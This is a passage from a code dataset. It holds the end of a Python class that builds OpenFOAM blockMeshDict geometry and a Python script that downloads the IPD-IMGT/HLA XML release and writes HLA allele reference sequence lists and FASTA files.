False. Use a\n negative count to shrink the bounding box.\n \"\"\"\n x, y, z = self.n_div_xyz\n self.expand_x((self.width / float(x)) * count)\n self.expand_y((self.length / float(y)) * count)\n self.expand_z((self.height / float(z)) * count)\n if renumber_division:\n self.n_div_xyz = (x + 2 * count, y + 2 * count, z + 2 * count)\n\n def expand_by_cells_count(self, x_count, y_count, z_count, renumber_division=True):\n \"\"\"Expand blockMeshDict boundingbox for n cells from all sides.\n\n This method will increase the number of divisions by 2 to keep the size\n of the cells unchanged unless renumber_division is set to False. Use a\n negative count to shrink the bounding box.\n \"\"\"\n x, y, z = self.n_div_xyz\n self.expand_x((self.width / float(x)) * x_count)\n self.expand_y((self.length / float(y)) * y_count)\n self.expand_z((self.height / float(z)) * z_count)\n if renumber_division:\n self.n_div_xyz = (x + 2 * x_count, y + 2 * y_count, z + 2 * z_count)\n\n def expand_uniform(self, dist):\n \"\"\"Expand blockMeshDict boundingbox for dist in all directions.\"\"\"\n if not dist:\n return\n self.expand_x(dist)\n self.expand_y(dist)\n self.expand_z(dist)\n\n def expand_x(self, dist):\n \"\"\"Expand blockMeshDict boundingbox for dist in x and -x directions.\"\"\"\n _x_axis = self.x_axis\n\n for i in (0, 3, 7, 4):\n self.vertices[i] = vectormath.move(\n self.vertices[i], vectormath.scale(_x_axis, -dist))\n\n for i in (1, 2, 6, 5):\n self.vertices[i] = vectormath.move(\n self.vertices[i], vectormath.scale(_x_axis, dist))\n\n def expand_y(self, dist):\n \"\"\"Expand blockMeshDict boundingbox for dist in y and -y directions.\"\"\"\n _y_axis = self.y_axis\n for i in (0, 1, 5, 4):\n self.vertices[i] = vectormath.move(\n self.vertices[i], vectormath.scale(_y_axis, -dist))\n\n for i in (3, 2, 6, 7):\n self.vertices[i] = vectormath.move(\n self.vertices[i], vectormath.scale(_y_axis, dist))\n\n def expand_z(self, dist):\n \"\"\"Expand blockMeshDict boundingbox for dist in z and -z directions.\"\"\"\n _z_axis = (0, 0, 1)\n for i in (0, 1, 2, 3):\n self.vertices[i] = vectormath.move(\n self.vertices[i], vectormath.scale(_z_axis, -dist))\n\n for i in (4, 5, 6, 7):\n self.vertices[i] = vectormath.move(\n self.vertices[i], vectormath.scale(_z_axis, dist))\n\n @staticmethod\n def _calculate2d_points(v, o, n, w):\n # project point\n p = vectormath.project(v, o, n)\n # move the projected point backwards for half of the width\n t = vectormath.scale(vectormath.normalize(vectormath.subtract(v, p)),\n w / 2.0)\n return vectormath.move(p, t)\n\n def n_div_xyz_by_cell_size(self, cell_size_xyz):\n \"\"\"Set number of divisions by cell size.\"\"\"\n x, y, z = cell_size_xyz\n self.n_div_xyz = int(round(self.width / x)), int(round(self.length / y)), \\\n int(round(self.height / z))\n\n def update_meshing_parameters(self, meshing_parameters):\n \"\"\"Update meshing parameters for blockMeshDict.\"\"\"\n if not meshing_parameters:\n return\n\n assert hasattr(meshing_parameters, 'isMeshingParameters'), \\\n 'Expected MeshingParameters not {}'.format(type(meshing_parameters))\n\n if meshing_parameters.cell_size_xyz:\n self.n_div_xyz_by_cell_size(meshing_parameters.cell_size_xyz)\n\n if meshing_parameters.grading:\n self.grading = meshing_parameters.grading\n\n @property\n def bottom_face_indices(self):\n \"\"\"Get indecies for bottom face.\"\"\"\n return (self.vertices_order[0], self.vertices_order[3],\n self.vertices_order[2], self.vertices_order[1])\n\n @property\n def top_face_indices(self):\n \"\"\"Get indecies for top face.\"\"\"\n return (self.vertices_order[4], self.vertices_order[5],\n self.vertices_order[6], self.vertices_order[7])\n\n @property\n def right_face_indices(self):\n \"\"\"Get indecies for right face.\"\"\"\n return (self.vertices_order[1], self.vertices_order[2],\n self.vertices_order[6], self.vertices_order[5])\n\n @property\n def left_face_indices(self):\n \"\"\"Get indecies for left face.\"\"\"\n return (self.vertices_order[3], self.vertices_order[0],\n self.vertices_order[4], self.vertices_order[7])\n\n @property\n def front_face_indices(self):\n \"\"\"Get indecies for front face.\"\"\"\n return (self.vertices_order[0], self.vertices_order[1],\n self.vertices_order[5], self.vertices_order[4])\n\n @property\n def back_face_indices(self):\n \"\"\"Get indecies for back face.\"\"\"\n return (self.vertices_order[2], self.vertices_order[3],\n self.vertices_order[7], self.vertices_order[6])\n\n def get_face_indices(self, face_index):\n \"\"\"Update boundary to empty for one of the faces.\n\n Args:\n face_index: 0 - front, 1 - back, 2 - bottom, 3 - top, 4 - right,\n 5 - left.\n \"\"\"\n face_indices = {0: self.front_face_indices, 1: self.back_face_indices,\n 2: self.bottom_face_indices, 3: self.top_face_indices,\n 4: self.right_face_indices, 5: self.left_face_indices}\n\n return face_indices[face_index]\n\n @property\n def bottom_face_vertices(self):\n \"\"\"Get vertices for bottom face.\"\"\"\n return tuple(self.vertices[o] for o in self.bottom_face_indices)\n\n @property\n def top_face_vertices(self):\n \"\"\"Get vertices for top face.\"\"\"\n return tuple(self.vertices[o] for o in self.top_face_indices)\n\n @property\n def right_face_vertices(self):\n \"\"\"Get vertices for right face.\"\"\"\n return tuple(self.vertices[o] for o in self.right_face_indices)\n\n @property\n def left_face_vertices(self):\n \"\"\"Get vertices for left face.\"\"\"\n return tuple(self.vertices[o] for o in self.left_face_indices)\n\n @property\n def front_face_vertices(self):\n \"\"\"Get vertices for front face.\"\"\"\n return tuple(self.vertices[o] for o in self.front_face_indices)\n\n @property\n def back_face_vertices(self):\n \"\"\"Get vertices for back face.\"\"\"\n return tuple(self.vertices[o] for o in self.back_face_indices)\n\n def get_face_vertices(self, face_index):\n \"\"\"Update boundary to empty for one of the faces.\n\n Args:\n face_index: 0 - front, 1 - back, 2 - bottom, 3 - top, 4 - right,\n 5 - left.\n \"\"\"\n face_vertices = {0: self.front_face_vertices, 1: self.back_face_vertices,\n 2: self.bottom_face_vertices, 3: self.top_face_vertices,\n 4: self.right_face_vertices, 5: self.left_face_vertices}\n\n return face_vertices[face_index]\n\n def _set_boundary_to_empty(self, face_index):\n \"\"\"Update boundary to empty for the face based on index.\n\n Args:\n face_index: 0 - front, 1 - back, 2 - bottom, 3 - top, 4 - right,\n 5 - left.\n \"\"\"\n # get indices and vertices for the face_index\n ind = self.get_face_indices(face_index)\n\n if self._is_from_vertices:\n if 'boundingbox_empty' not in self.values['boundary']:\n self.values['boundary']['boundingbox_empty'] = \\\n {'type': 'empty', 'faces': ()}\n\n self.values['boundary']['boundingbox_empty']['faces'] += (ind,)\n self.values['boundary']['boundingbox']['faces'] = tuple(\n o for o in self.values['boundary']['boundingbox']['faces']\n if o != ind\n )\n else:\n # update boundary condition for the geometry if the boundary is created\n # from geometry\n for name, v in self.values['boundary'].iteritems():\n if ind in v['faces']:\n v['type'] = 'empty'\n\n for geo in self._bf_block_geometries:\n if geo.name == name:\n geo.boundary_condition = EmptyBoundaryCondition()\n break\n\n def _update_boundary_from_sorted_vertices(self):\n \"\"\"Update boundary dictionary based ordered vertices.\"\"\"\n self.values['boundary']['boundingbox'] = {\n 'type': 'wall',\n 'faces': (self.bottom_face_indices, self.top_face_indices,\n self.right_face_indices, self.left_face_indices,\n self.front_face_indices, self.back_face_indices,\n )\n }\n\n def __update_boundary_from_bf_block_geometries(self):\n \"\"\"Update boundary dictionary based on bf_block_geometries input.\"\"\"\n for geo in self._bf_block_geometries:\n try:\n self.values['boundary'][geo.name] = {\n 'type': geo.boundary_condition.type,\n 'faces': tuple(tuple(self.vertices.index(v) for v in verGroup)\n for verGroup in geo.border_vertices)\n }\n except AttributeError as e:\n raise TypeError('Wrong input geometry!\\n{}'.format(e))\n\n def __boundary_to_openfoam(self):\n _body = \" %s\\n\" \\\n \" {\\n\" \\\n \" type %s;\\n\" \\\n \" faces\\n\" \\\n \" (\" \\\n \" %s\\n\" \\\n \" );\\n\" \\\n \" }\\n\"\n\n col = (_body % (name, attr['type'],\n '\\n' + '\\n'.join('\\t' + str(indices).replace(\",\", \"\")\n for indices in attr['faces']))\n if isinstance(attr['faces'][0], tuple) else\n _body % (name, attr['type'],\n '\\n\\t' + str(attr['faces']).replace(\",\", \"\"))\n for name, attr in self.boundary.iteritems())\n\n return 'boundary\\n(%s);\\n' % '\\n'.join(col)\n\n @staticmethod\n def _distance(v1, v2):\n return sqrt(sum((x - y) ** 2 for x, y in zip(v1, v2)))\n\n def _average_verices(self):\n _x, _y, _z = 0, 0, 0\n\n for ver in self._rawvertices:\n _x += ver[0]\n _y += ver[1]\n _z += ver[2]\n\n numofver = len(self._rawvertices)\n return _x / numofver, _y / numofver, _z / numofver\n\n def _sort_vertices(self):\n \"\"\"sort input vertices.\"\"\"\n groups = {}\n for p in self._rawvertices:\n if p[2] not in groups:\n groups[p[2]] = []\n\n groups[p[2]].append((p[0], p[1]))\n\n z_values = sorted(groups.keys())\n point_groups = groups.values()\n\n assert len(z_values) == 2, \\\n 'Number of Z values must be 2 not {}: {}.'.format(len(z_values),\n z_values)\n\n for g in point_groups:\n assert len(g) == 4\n\n # the points in both height are identical so I just take the first group\n # and sort them\n x_axis_reversed = (-self.x_axis[0], -self.x_axis[1])\n center_pt = self.center[:2]\n sorted_points2d = \\\n sorted(point_groups[0],\n key=lambda x: vectormath.angle_anitclockwise(\n x_axis_reversed, tuple(c1 - c2 for c1, c2\n in zip(x, center_pt))))\n\n sorted_points = [(pt[0], pt[1], z) for z in z_values for pt in sorted_points2d]\n return sorted_points\n\n def to_openfoam(self):\n \"\"\"Return OpenFOAM representation as a string.\"\"\"\n _hea = self.header()\n _body = \"\\nconvertToMeters %.4f;\\n\" \\\n \"\\n\" \\\n \"vertices\\n\" \\\n \"(\\n\\t%s\\n);\\n\" \\\n \"\\n\" \\\n \"blocks\\n\" \\\n \"(\\nhex %s %s %s\\n);\\n\" \\\n \"\\n\" \\\n \"edges\\n\" \\\n \"(%s);\\n\" \\\n \"\\n\" \\\n \"%s\" \\\n \"\\n\" \\\n \"mergePatchPair\\n\" \\\n \"(%s);\\n\"\n\n return _hea + \\\n _body % (\n self.convertToMeters,\n \"\\n\\t\".join(tuple(str(ver).replace(\",\", \"\")\n for ver in self.vertices)),\n str(self.vertices_order).replace(\",\", \"\"),\n str(self.n_div_xyz).replace(\",\", \"\"),\n self.grading, # blocks\n \"\\n\", # edges\n self.__boundary_to_openfoam(), # boundary\n \"\\n\") # merge patch pair\n\n def ToString(self):\n \"\"\"Overwrite .NET ToString method.\"\"\"\n return self.__repr__()\n\n def __repr__(self):\n \"\"\"BlockMeshDict representation.\"\"\"\n return self.to_openfoam()\n","repo_name":"ladybug-tools/butterfly","sub_path":"butterfly/blockMeshDict.py","file_name":"blockMeshDict.py","file_ext":"py","file_size_in_byte":30592,"program_lang":"python","lang":"en","doc_type":"code","stars":229,"dataset":"github-code","pt":"48"} +{"seq_id":"31321645705","text":"import argparse\nfrom os.path import join, isdir, isfile\nfrom os import makedirs, remove, rmdir\nfrom datetime import datetime\nfrom requests import get\nfrom zipfile import ZipFile\nfrom random import shuffle\n\nfrom ParseXml import parseXmlFile, clusterSequences, parsePreviousReferences\nfrom FindBestReference import validateFullLengthSequences\n\ndef printSequences(alleleSequences=None, outputFilename=None, verbose=False):\n if(verbose):\n print('Writing ' + str(len(alleleSequences)) + ' allele sequences to:' + str(outputFilename))\n\n outputFile = open(outputFilename,'w')\n alleleClusters = clusterSequences(alleleSequences=alleleSequences, verbose=verbose)\n\n for locus in sorted(alleleClusters.keys()):\n # print('Finding reference for locus ' + str(locus))\n for alleleGroup in sorted(alleleClusters[locus].keys()):\n for alleleSequence in alleleClusters[locus][alleleGroup]:\n outputFile.write('>' + str(alleleSequence.alleleName) + '\\n')\n outputFile.write(str(alleleSequence.getSequence()) + '\\n')\n outputFile.close()\n\ndef printSequenceList(alleleSequences=None, databaseVersion=None, outputDirectory=None, fileVersion='1.0', verbose=False, alleleDescriptionLookup=None):\n outputFileNameShort = databaseVersion + '_Reference_Alleles.txt'\n outputFileNameFull = join(outputDirectory, outputFileNameShort)\n if(verbose):\n print('Writing a list of ' + str(len(alleleSequences)) + ' allele sequences to:' + str(outputFileNameFull))\n outputFile=open(outputFileNameFull,'w')\n\n outputFile.write('# filename: ' + str(outputFileNameShort) + '\\n')\n outputFile.write('# date: ' + datetime.today().strftime('%Y-%m-%d') + '\\n')\n outputFile.write('# version: ' + str(fileVersion) + '\\n')\n outputFile.write('# author: ' + str('Ben Matern ') + '\\n')\n outputFile.write('IPD-IMGT/HLA Database ' + str(databaseVersion) + ' Accession Number\\tLocus\\tIPD-IMGT/HLA Database ' + str(databaseVersion) + ' Allele Name\\tDescription\\n')\n\n locusReferences = getLocusReferences()\n\n #Cluster to sort them\n alleleClusters=clusterSequences(alleleSequences=alleleSequences, verbose=verbose)\n\n for locus in sorted(alleleClusters.keys()):\n #print('Finding reference for locus ' + str(locus))\n for alleleGroup in sorted(alleleClusters[locus].keys()):\n for allele in alleleClusters[locus][alleleGroup]:\n currentLocus, nomenclatureFields = allele.alleleName.split('*')\n nomenclatureTokens = nomenclatureFields.split(':')\n currentGroup = str(nomenclatureTokens[0])\n\n allele.description = ''\n # Is it a locus reference?\n for locusReference in list(set(locusReferences)):\n if (allele.alleleName in locusReference or locusReference in allele.alleleName):\n allele.description = currentLocus + ' Locus Reference;'\n # If we already have a description (serotype or DP references)\n if allele.alleleName in alleleDescriptionLookup.keys():\n allele.description += alleleDescriptionLookup[allele.alleleName]\n else:\n # Otherwise it's a group reference.\n allele.description += currentLocus.replace('HLA-', '') + '*' + currentGroup + ' Reference'\n\n outputFile.write(str(allele.accessionNumber) + '\\t' + currentLocus\n + '\\t' + str(allele.alleleName) + '\\t' + str(allele.description) + '\\n')\n\n outputFile.close()\n\ndef printMissingSequences(missingSequences=None, databaseVersion=None, outputDirectory=None, fileVersion='1.0', verbose=False):\n outputFileNameShort = databaseVersion + '_Missing_Reference_Alleles.txt'\n outputFileNameFull = join(outputDirectory, outputFileNameShort)\n if(verbose):\n print('Writing a list of ' + str(len(missingSequences)) + ' missing allele sequences to:' + str(outputFileNameFull))\n outputFile=open(outputFileNameFull,'w')\n\n outputFile.write('# filename: ' + str(outputFileNameShort) + '\\n')\n outputFile.write('# date: ' + datetime.today().strftime('%Y-%m-%d') + '\\n')\n outputFile.write('# version: ' + str(fileVersion) + '\\n')\n outputFile.write('# author: ' + str('Ben Matern ') + '\\n')\n\n alleleClusters=clusterSequences(alleleSequences=missingSequences,verbose=verbose)\n\n for locus in sorted(alleleClusters.keys()):\n for alleleGroup in sorted(alleleClusters[locus].keys()):\n for allele in alleleClusters[locus][alleleGroup]:\n outputFile.write(str(allele.alleleName) + '\\n')\n\n outputFile.close()\n\ndef createReferenceSequences(clusteredFullLenAlleleSequences=None, verbose=False, imgtReleaseVersion=None):\n print('Creating Reference Sequences for ' + str(len(clusteredFullLenAlleleSequences.keys()))\n + ' loci.')\n\n referenceSequences = []\n missingSequences = []\n locusReferences=getLocusReferences()\n alleleDescriptionLookup = {}\n\n # Add hard-coded alleles\n includeSequences, alleleDescriptionLookup = getIncludeSequenceList(imgtReleaseVersion=imgtReleaseVersion)\n for locus in sorted(clusteredFullLenAlleleSequences.keys()):\n for alleleGroup in sorted(clusteredFullLenAlleleSequences[locus].keys()):\n # print('Finding reference for group ' + alleleGroupFull)\n for fullLengthSequence in clusteredFullLenAlleleSequences[locus][alleleGroup]:\n # print('Finding reference for allele ' + previousReferenceSequence.alleleName)\n # Skip the sequence if it's in the excludeSequenceList\n if (fullLengthSequence.alleleName in (includeSequences)):\n referenceSequences.append(fullLengthSequence)\n if verbose:\n print('Forced adding hard-coded reference:' + str(fullLengthSequence.alleleName))\n\n # Add locus references if they don't already exist\n for locus in sorted(clusteredFullLenAlleleSequences.keys()):\n for alleleGroup in sorted(clusteredFullLenAlleleSequences[locus].keys()):\n for allele in clusteredFullLenAlleleSequences[locus][alleleGroup]:\n for locusReference in list(set(locusReferences)):\n if(allele.alleleName in locusReference or locusReference in allele.alleleName):\n #print('adding locus reference:' + str(locusReference))\n # This reference be already in the list...\n addReference = True\n for referenceSequence in referenceSequences:\n if(referenceSequence.alleleName in locusReference or locusReference in referenceSequence.alleleName):\n #print('Skipping adding locus reference:' + str(locusReference) + ' because it is already in the list.')\n addReference=False\n break\n if(addReference):\n #print('indeed, adding locus reference:' + str(locusReference))\n referenceSequences.append(clusteredFullLenAlleleSequences[locus][alleleGroup][0])\n\n # Add groupwise seq references\n for locus in sorted(clusteredFullLenAlleleSequences.keys()):\n #print('Finding reference for locus ' + str(locus))\n for alleleGroup in sorted(clusteredFullLenAlleleSequences[locus].keys()):\n alleleGroupFull = locus + '*' + alleleGroup\n #print('Finding reference for group ' + alleleGroupFull)\n\n # Do we already have a reference sequence for this group? From Previous Reference Sequences.\n alreadyHaveReference=False\n for newReferenceSequence in referenceSequences:\n if (alleleGroupFull in newReferenceSequence.alleleName):\n alreadyHaveReference = True\n break\n if not alreadyHaveReference:\n # Take the first sequence available. Skip for MICA & MICB, and DPB1 (hand picked alleles)\n if ( (locus=='HLA-DPB1')\n or (locus in ['HLA-MICA','MICA'] and alleleGroup != '001')\n or (locus in ['HLA-MICB','MICB'] and alleleGroup != '004') ):\n if(verbose):\n print('Not adding a reference sequence for allele group ' + alleleGroupFull)\n else:\n referenceSequences.append(clusteredFullLenAlleleSequences[locus][alleleGroup][0])\n if(verbose):\n print('adding sequence ' + clusteredFullLenAlleleSequences[locus][alleleGroup][0].alleleName\n + ' as a reference for group ' + str(alleleGroupFull))\n\n return referenceSequences, missingSequences, alleleDescriptionLookup\n\ndef downloadImgtXml(outputDirectory=None, release=None, verbose=False):\n print('Downloading IPD-IMGT/HLA xml file for release ' + str(release))\n\n zipLocalFileName = join(outputDirectory, 'hla.xml.zip')\n xmlLocalFileName = join(outputDirectory, 'hla.xml')\n zipRemoteFileName = 'https://raw.githubusercontent.com/ANHIG/IMGTHLA/' + release.replace('.','') + '/xml/hla.xml.zip'\n\n # This is a hack. Because the 3.35.0 release was uploaded to github using lfs, the normal url doesn't work.\n # Todo: check for this, somehow, and respond in a smart way.\n if(release=='3.35.0'):\n zipRemoteFileName = 'https://github.com/ANHIG/IMGTHLA/raw/3350/xml/hla.xml.zip'\n\n if(verbose):\n print('Local xml filename:' + str(xmlLocalFileName))\n print('Remote zip filename:' + str(zipRemoteFileName))\n\n requestData = get(zipRemoteFileName, allow_redirects=True)\n open(zipLocalFileName, 'wb').write(requestData.content)\n\n with ZipFile(zipLocalFileName, 'r') as zipObj:\n zipObj.extract('hla.xml', path=outputDirectory)\n\n if(isfile(xmlLocalFileName)):\n return xmlLocalFileName\n else:\n raise Exception('Problem when downloading and unzipping IMGT XML:' + str(zipRemoteFileName))\n\ndef cleanupSupplementalFiles(keepSuppFiles=False, supplementalFileDirectory=None):\n if(not keepSuppFiles):\n # delete the zip file and the xml file.\n zipFileName = join(supplementalFileDirectory, 'hla.xml.zip')\n xmlFileName = join(supplementalFileDirectory, 'hla.xml')\n remove(zipFileName)\n remove(xmlFileName)\n rmdir(supplementalFileDirectory)\n\ndef getLocusReferences():\n # A list of locus-level references. These hopefully do not change over IMGT HLA releases.\n # They also hopefully have longest UTR sequences, not in all cases.\n locusReferences = [\n 'HLA-A*01:01:01:01'\n ,'HLA-B*07:02:01:01'\n ,'HLA-C*01:02:01:01'\n ,'HLA-DPA1*01:03:01:01'\n ,'HLA-DPB1*01:01:01:01'\n ,'HLA-DQA1*01:01:01:01'\n ,'HLA-DQB1*05:01:01:01'\n ,'HLA-DRB1*01:01:01:01'\n ,'HLA-DRB3*01:01:02:01'\n ,'HLA-DRB4*01:01:01:01'\n ,'HLA-DRB5*01:01:01:01'\n ,'HLA-E*01:01:01:01'\n ,'HLA-F*01:01:01:01'\n ,'HLA-G*01:01:01:01'\n ,'HLA-DMA*01:01:01:01'\n ,'HLA-DMB*01:01:01:01'\n ,'HLA-DOA*01:01:01'\n ,'HLA-DOB*01:01:01:01'\n ,'HLA-DRA*01:01:01:01'\n ,'MICA*001'\n ,'MICB*004:01:01'\n ]\n return locusReferences\n\ndef getIncludeSequenceList(imgtReleaseVersion=None):\n # These are hard-coded alleles that are included in the reference lists.\n # Try to only use full allele names here.\n includeSequences = []\n alleleDescriptionLookup = {}\n\n # DRB1*15:01:01:02 has longer UTRs. Better to keep for continuity.\n includeSequences.append('HLA-DRB1*15:01:01:02')\n includeSequences.append('HLA-B*56:01:01:02')\n\n # Kazu suggests to use B*15:10:01:01 as a B71 reference, it differs greatly in exon 2 and this is useful.\n # SHould still include B*15:01 if possible.\n includeSequences.append('HLA-B*15:10:01:01')\n includeSequences.append('HLA-B*15:01:01:01')\n alleleDescriptionLookup['HLA-B*15:10:01:01'] = 'B70 Serotype Reference'\n\n # Kazu's suggestion, indeed this sequence has longest UTRs.\n includeSequences.append('HLA-B*27:05:02:01')\n\n # 08:01 and 08:03(from 17th IHIW) have shorter UTRs. Use 08:02.\n includeSequences.append('HLA-DRB1*08:02:01:01')\n\n # Kazu's suggestion, Historical Reference. Full-length appears in version 3.29.0. Otherwise use the 17th ref.\n if (imgtReleaseVersion in ['3.25.0', '3.26.0','3.27.0', '3.28.0']):\n includeSequences.append('HLA-DRB1*14:05:01')\n else:\n includeSequences.append('HLA-DRB1*14:54:01:01')\n\n # Kazu's suggestion, 03:03 and 03:04 have longer UTRs than 03:02(17th IHIW) or 03:01(not full length)\n includeSequences.append('HLA-C*03:03:01:01')\n\n # In 3.25 and 3.26 we didn't have a good full-length A*74:01 reference. Using this one for continuity and clarity.\n if(imgtReleaseVersion in ['3.25.0','3.26.0']):\n includeSequences.append('HLA-A*74:02:01:02')\n\n # Hand-selecting 4 DP alleles to use that represent the four categories according to Cano and Fernandez-Vina\n # Full-Length DPB1*01:01:01 is available starting in 3.27.0. 4 fields starting in 3.28.0\n if(imgtReleaseVersion in ['3.25.0', '3.26.0']):\n pass\n elif(imgtReleaseVersion in ['3.27.0']):\n includeSequences.append('HLA-DPB1*01:01:01')\n alleleDescriptionLookup['HLA-DPB1*01:01:01'] = 'DP1 Category Reference'\n else:\n includeSequences.append('HLA-DPB1*01:01:01:01')\n alleleDescriptionLookup['HLA-DPB1*01:01:01:01'] = 'DP1 Category Reference'\n\n # HLA-DPB1*02:01:02:01 and HLA-DPB1*03:01:01:01 Given 4 field name in 3.28.0\n if (imgtReleaseVersion in ['3.25.0', '3.26.0', '3.27.0']):\n includeSequences.append('HLA-DPB1*02:01:02')\n alleleDescriptionLookup['HLA-DPB1*02:01:02'] = 'DP2 Category Reference'\n includeSequences.append('HLA-DPB1*03:01:01')\n alleleDescriptionLookup['HLA-DPB1*03:01:01'] = 'DP3 Category Reference'\n else:\n includeSequences.append('HLA-DPB1*02:01:02:01')\n alleleDescriptionLookup['HLA-DPB1*02:01:02:01'] = 'DP2 Category Reference'\n includeSequences.append('HLA-DPB1*03:01:01:01')\n alleleDescriptionLookup['HLA-DPB1*03:01:01:01'] = 'DP3 Category Reference'\n\n # 'HLA-DPB1*04:01:01:01' has been available as full length since at least 3.25.0\n includeSequences.append('HLA-DPB1*04:01:01:01')\n alleleDescriptionLookup['HLA-DPB1*04:01:01:01'] = 'DP4 Category Reference'\n\n return sorted(list(set(includeSequences))), alleleDescriptionLookup\n\ndef printSequenceDetails(alleleSequences=None, outputFilename=None, verbose=False, delimiter='\\t', imgtReleaseVersion=None):\n if(verbose):\n print('Creating Sequence Details file:' + str(outputFilename))\n\n outputFile = open(outputFilename, 'w')\n\n outputFile.write(imgtReleaseVersion + ' Allele Name' + delimiter\n + imgtReleaseVersion + ' Sequence Length' + delimiter\n + imgtReleaseVersion + ' 5\\'UTR Length' + delimiter\n + imgtReleaseVersion + ' 3\\'UTR Length' + delimiter\n + imgtReleaseVersion + ' CWD Status' + '\\n')\n\n # Loop sequences:\n alleleClusters = clusterSequences(alleleSequences=alleleSequences, verbose=verbose)\n\n for locus in sorted(alleleClusters.keys()):\n # print('Finding reference for locus ' + str(locus))\n for alleleGroup in sorted(alleleClusters[locus].keys()):\n for alleleSequence in alleleClusters[locus][alleleGroup]:\n # TODO: This will break if the feature is missing. Only running on full-len for now.\n # Placeholder fix for missing 5 and 3 UTRs.\n if('5UTR' not in alleleSequence.featureSequences.keys()):\n utr5Sequence = ''\n else:\n utr5Sequence = alleleSequence.featureSequences['5UTR']\n\n if('3UTR' not in alleleSequence.featureSequences.keys()):\n utr3Sequence = ''\n else:\n utr3Sequence = alleleSequence.featureSequences['3UTR']\n\n outputFile.write(alleleSequence.alleleName + delimiter\n + str(len(alleleSequence.getSequence())) + delimiter\n + str(len(utr5Sequence)) + delimiter\n + str(len(utr3Sequence)) + delimiter\n + str(alleleSequence.cwdStatus) + '\\n')\n\n outputFile.close()\n\ndef printSequenceCountsPerLocus(alleleSequences=None, outputFilename=None, verbose=None, imgtReleaseVersion=None, delimiter='\\t'):\n if(verbose):\n print('Creating sequence counts per locus:' + str(outputFilename))\n\n outputFile = open(outputFilename, 'w')\n\n outputFile.write('Locus' + delimiter\n + imgtReleaseVersion + ' Reference Count' + '\\n')\n\n # Loop sequences:\n alleleClusters = clusterSequences(alleleSequences=alleleSequences, verbose=verbose)\n\n for locus in sorted(alleleClusters.keys()):\n # print('Finding reference for locus ' + str(locus))\n seqCount = 0\n for alleleGroup in sorted(alleleClusters[locus].keys()):\n seqCount += len(alleleClusters[locus][alleleGroup])\n\n outputFile.write(locus + delimiter\n + str(seqCount) + '\\n')\n\n # Write TOtal\n outputFile.write('Total' + delimiter\n + str(len(alleleSequences)) + '\\n')\n outputFile.close()\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"-v\", \"--verbose\", help=\"verbose operation\", action=\"store_true\")\n parser.add_argument(\"-s\", \"--supplementary\", help=\"keep supplementary files\", action=\"store_true\", default=False)\n parser.add_argument(\"-b\", \"--blast\", help=\"keep blast output files (Very big)\", action=\"store_true\", default=False)\n parser.add_argument(\"-x\", \"--version\", help=\"export allele list version number, default 1.0\", default='1.0', type=str)\n parser.add_argument(\"-V\", \"--validate\", help=\"validate full-length sequences by aligning against References\", action=\"store_true\")\n parser.add_argument(\"-r\", \"--release\", required=True, help=\"IPD-IMGT/HLA release version\", type=str)\n parser.add_argument(\"-o\", \"--output\", required=True, help=\"Output Directory\", type=str)\n parser.add_argument(\"-t\", \"--threads\", required=False, help=\"Processor Threads\", type=int, default=1)\n parser.add_argument(\"-l\", \"--localfile\", required=False, help=\"location of (unzipped) local hla.xml file. If this is not provided, we will download file from github\", type=str)\n\n args = parser.parse_args()\n verbose = args.verbose\n\n outputDirectory = args.output\n supplementalFileDirectory = join(outputDirectory,'supplemental_files')\n\n if not isdir(outputDirectory):\n makedirs(outputDirectory)\n if not isdir(supplementalFileDirectory):\n makedirs(supplementalFileDirectory)\n\n print('Generating Reference Sequences')\n\n if verbose:\n print(\"Running in verbose mode.\")\n\n\n if(args.localfile is None or len(str(args.localfile))<1):\n print('No Local File was provided. I will download the hla.xml from Github.')\n xmlFileLocation = downloadImgtXml(outputDirectory=supplementalFileDirectory, release=args.release, verbose=verbose)\n else:\n print('Local file was provided:' + str(args.localfile))\n xmlFileLocation=args.localfile\n\n\n alleleSequences, databaseVersion = parseXmlFile(xmlFile=xmlFileLocation,fullLengthOnly=True, verbose=verbose)\n\n # TODO: The database version from the XML file may be slightly different than the provided release number, due to minor versioning.\n # I am naming files based on the \"0\" version but there might be 3.42.1 for example.\n # Not completely accurate but its more consistent this way. May cause confusion.\n if(databaseVersion != args.release):\n print('Warning! the latest IPD-IMGT/HLA xml file shows a different (newer?) release date ('\n + str(databaseVersion) + ') than the provided release version (' + str(args.release) + ')')\n if(args.supplementary):\n printSequences(alleleSequences=alleleSequences, outputFilename=join(supplementalFileDirectory,str(args.release) + '_FullLengthSequences.fasta'), verbose=verbose)\n alleleSequenceClusters=clusterSequences(alleleSequences=alleleSequences,verbose=verbose)\n newReferenceSequences, missingSequences, alleleDescriptionLookup = createReferenceSequences(clusteredFullLenAlleleSequences=alleleSequenceClusters, verbose=verbose, imgtReleaseVersion=args.release)\n printSequences(alleleSequences=newReferenceSequences, outputFilename=join(outputDirectory, str(args.release) + '_ReferenceSequences.fasta'), verbose=verbose)\n printSequenceList(alleleSequences=newReferenceSequences, databaseVersion=args.release, outputDirectory=outputDirectory, verbose=verbose, fileVersion=args.version, alleleDescriptionLookup=alleleDescriptionLookup)\n if (args.supplementary):\n printSequenceDetails(alleleSequences=alleleSequences, outputFilename=join(supplementalFileDirectory, 'FullLengthSequenceDetails.csv'), verbose=verbose, imgtReleaseVersion=args.release)\n printSequenceDetails(alleleSequences=newReferenceSequences, outputFilename=join(supplementalFileDirectory, 'ReferenceSequenceDetails.csv'), verbose=verbose, imgtReleaseVersion=args.release)\n printSequenceCountsPerLocus(alleleSequences=alleleSequences, outputFilename=join(supplementalFileDirectory, 'FullLengthSequenceCountsPerLocus.csv'), verbose=verbose, imgtReleaseVersion=args.release)\n printSequenceCountsPerLocus(alleleSequences=newReferenceSequences, outputFilename=join(supplementalFileDirectory, 'ReferenceSequenceCountsPerLocus.csv'), verbose=verbose, imgtReleaseVersion=args.release)\n\n # Parse for all alleles, and print some info on this.\n allAlleleSequences, databaseVersion = parseXmlFile(xmlFile=xmlFileLocation, fullLengthOnly=False, verbose=verbose)\n printSequenceDetails(alleleSequences=allAlleleSequences, outputFilename=join(supplementalFileDirectory, 'AllSequencesDetails.csv'), verbose=verbose, imgtReleaseVersion=args.release)\n printSequenceCountsPerLocus(alleleSequences=allAlleleSequences, outputFilename=join(supplementalFileDirectory, 'AllSequencesCountsPerLocus.csv'), verbose=verbose, imgtReleaseVersion=args.release)\n\n printMissingSequences(missingSequences=missingSequences, databaseVersion=args.release, outputDirectory=supplementalFileDirectory, verbose=verbose)\n if(args.validate):\n validationSet = alleleSequences\n 